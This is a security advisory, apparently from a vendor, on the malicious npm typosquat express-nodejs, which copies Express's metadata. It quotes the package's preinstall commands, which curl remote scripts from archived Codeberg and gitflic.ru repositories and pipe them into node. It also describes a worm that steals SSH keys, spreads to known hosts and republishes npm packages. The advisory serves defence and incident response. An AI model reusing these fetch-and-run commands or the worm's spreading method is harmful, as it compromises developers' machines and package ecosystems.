NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
Malicious package

express-nodejsnpm

Advisory published Updated

express-nodejs is a confirmed malicious npm package (MAL-2026-17243) that steals credentials and exfiltrates sensitive data (malicious versions 5.2.1, 5.2.2). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in express-nodejs (npm)

MAL-2026-17243
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall express-nodejs

What this malware does

The package express-nodejs impersonates the legitimate 'express' package (it republishes express's package metadata and code) and adds a malicious preinstall hook that runs automatically on npm install, before any dependency is installed: curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node. The hook downloads a remote JavaScript second stage from a Wayback Machine mirror of a Codeberg repository (hellscripter/install-scripts) and pipes it directly into node, giving the attacker arbitrary code execution on the installing machine. Version 5.2.1 was published on 2026-09-29. It is one of nine packages published within about 33 minutes by the npm account 'dirtyblanket' (maintainer email [email protected]), all carrying the identical preinstall hook: xeprews, express-javascript, express-nodejs, react-nodejs, exprdd, exprrdd, exptrdd, exptred, exptredd.

On Linux, node.js pipes linux.sh from the same Codeberg repository into bash. linux.sh (SHA-256 65f0a95b24e30305146346cbc2452cfabadab9e1ca35053e1134b67c38919577) is a worm. It installs a Go binary, systemd-fontd, as a systemd service named "Font Rendering Service" that proxies through Tor. SafeDep has not yet analyzed that binary. The script collects SSH private keys and known_hosts files, then connects to the known hosts over SSH and runs linux.sh on them. With the same keys, it pushes a linux.sh loader into the .install file of Arch User Repository (AUR) packages that the key owner maintains. For each package.json on disk, it adds the same preinstall script, runs npm version patch, and runs npm publish with each .npmrc it finds.

[email protected] is a typosquat of the Express framework that copies Express's package metadata (author TJ Holowaychuk, repository expressjs/express, homepage expressjs.com, matching description and keywords) while adding a malicious npm preinstall hook. The preinstall script in package.json runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, which fetches a JavaScript payload from a third-party gitflic.ru user account (fronted by a web.archive.org wrapper) and pipes it directly into the node interpreter on npm install. The remote content is unpinned, unverified, hosted on infrastructure unrelated to the Express publisher, and controlled by whoever owns the gitflic.ru/hellscripter account; the executed code can be changed at any time without republishing the npm package.

Malicious versions

2 flagged
5.2.15.2.2

Indicators of compromise (SHA-256)

9aea7dd76028cd443cf2f8d58fa5d8b3b28bb6db870f34d1cc6dad28db92fe93
660b6a49ca7ef178fe60b6f68ae8df4ac4364c05429684c97392dee267712688

Detection & response playbook

Credential / info stealer
  1. Find it

    Search your lockfiles and build artifacts for express-nodejs (2 malicious versions).

  2. If you installed it — respond

    express-nodejs is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If express-nodejs was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. express-nodejs on npm has been identified as a malicious package (versions 5.2.1, 5.2.2 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020631IN-MAL-2026-020873

References

Credits

  • Amazon Inspector · finder
  • InvisiRisk, Inc. · finder
  • Pranesh, InvisiRisk · finder
  • SafeDep · finder

Detect & block this

O3 blocks express-nodejs-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Explore

express-nodejs (npm) malicious package — MAL-2026-17243 | O3 Security